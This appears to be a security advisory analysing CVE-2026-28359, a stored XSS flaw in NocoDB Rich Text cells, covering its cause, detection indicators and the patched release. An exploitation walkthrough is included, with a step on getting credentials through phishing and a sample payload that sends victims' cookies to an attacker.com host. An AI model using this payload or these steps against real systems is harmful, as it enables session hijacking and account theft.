CVE-2026-28359: 
JavaScript vulnerability analysis and mitigation

CVE-2026-28359 is a stored Cross-Site Scripting (XSS) vulnerability in NocoDB, an open-source platform for building databases as spreadsheets. An authenticated user with the Editor role can inject arbitrary HTML into Rich Text cells by bypassing the TipTap editor and sending raw HTML directly via the API. All NocoDB versions up to and including 0.301.2 (npm package) are affected. The vulnerability was disclosed on March 2, 2026, and has a CVSS v3.1 base score of 5.4 (Medium) and a CVSS v4.0 base score of 5.3 (Medium) (Github Advisory, NocoDB Advisory).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), arising from a client-server sanitization mismatch. The TipTap rich text editor performs HTML sanitization client-side, but the NocoDB backend stores submitted content without any server-side sanitization. The stored HTML is subsequently rendered using Vue's v-html directive in TextArea.vue via NcMarkdownParser.parse(), which applies no sanitization, allowing injected scripts to execute in any viewer's browser. An attacker exploits this by bypassing the frontend editor entirely and sending a crafted API request containing raw HTML or JavaScript payloads directly to the NocoDB API endpoint for Rich Text cell updates (NocoDB Advisory, Github Advisory).

Successful exploitation results in stored XSS, where malicious scripts execute in the browsers of any user who views the affected Rich Text cell — including users with higher privileges such as Owners or Admins. This can lead to session hijacking, credential theft, unauthorized actions performed on behalf of victims, and data exfiltration from the NocoDB instance. Availability is not directly impacted, but confidentiality and integrity of the subsequent (viewer's) system are at low risk per the CVSS assessment (Github Advisory, NocoDB Advisory).

No public proof-of-concept exploit code has been identified, and there is no evidence of in-the-wild exploitation at this time. The EPSS score is approximately 0.041% (13th percentile), indicating a low near-term exploitation probability. The vulnerability requires an authenticated account with at least Editor-level privileges, which limits the attacker pool but does not eliminate risk in multi-tenant or shared NocoDB deployments. The CVE is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Github Advisory).

1. Obtain Editor credentials: Acquire or compromise an account with at least the Editor role on the target NocoDB instance (e.g., via phishing, credential stuffing, or a free/trial account in a shared deployment).
2. Identify a Rich Text column: Browse the NocoDB API or UI to identify a table containing a Rich Text (Long Text) column that is visible to other users, particularly those with higher privileges.
3. Craft a malicious API request: Bypass the TipTap frontend editor by directly calling the NocoDB REST API (e.g., PATCH /api/v1/db/data/noco/{projectId}/{tableId}/{rowId}) with a JSON body containing a raw HTML/JavaScript payload in the Rich Text field, such as {"RichTextField": "<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"}.
4. Store the payload: Submit the API request with a valid authentication token. The backend stores the raw HTML without sanitization.
5. Wait for victim interaction: When another user (e.g., an Admin or Owner) opens or views the affected row/cell in the NocoDB UI, the injected script executes in their browser via the unsanitized v-html rendering path.
6. Harvest results: Collect stolen session tokens, cookies, or credentials from the attacker-controlled server to perform session hijacking or further unauthorized actions (NocoDB Advisory, Github Advisory).

• Network: Outbound HTTP requests from NocoDB users' browsers to unexpected external domains shortly after viewing Rich Text cells; unusual POST/GET requests to attacker-controlled URLs containing encoded cookie or session data.
• Logs: NocoDB API access logs showing PATCH or POST requests to row/record endpoints with unusually large or HTML-encoded payloads in Rich Text fields from Editor-role accounts; requests originating from unexpected IP addresses using valid Editor tokens.
• Application: Rich Text cells in NocoDB tables containing raw <script>, <img onerror=...>, <iframe>, or other HTML event handler tags when inspected via the API response rather than the rendered UI.
• Browser: Browser developer console errors or network requests to unknown domains triggered when navigating to specific NocoDB table rows (NocoDB Advisory).

NocoDB has released version 0.301.3, which patches this vulnerability by adding server-side sanitization for Rich Text cell content. All users running NocoDB versions 0.301.2 and earlier should upgrade to 0.301.3 or later immediately. As interim mitigations, administrators should restrict the Editor role to trusted users only, audit existing Rich Text cell content for suspicious HTML or script tags via the API, monitor API logs for unusual PATCH requests targeting Rich Text fields, and consider deploying Content Security Policy (CSP) headers to reduce XSS impact (NocoDB Release, Github Advisory).

The vulnerability was responsibly reported by researcher @Akokonunes and disclosed by NocoDB maintainer @mertmit via GitHub Security Advisories on March 2, 2026. The release notes for version 0.301.3 acknowledge multiple security researchers, indicating this patch addressed several vulnerabilities simultaneously. No significant broader media coverage or notable community debate has been identified beyond the standard advisory publication (NocoDB Advisory, NocoDB Release).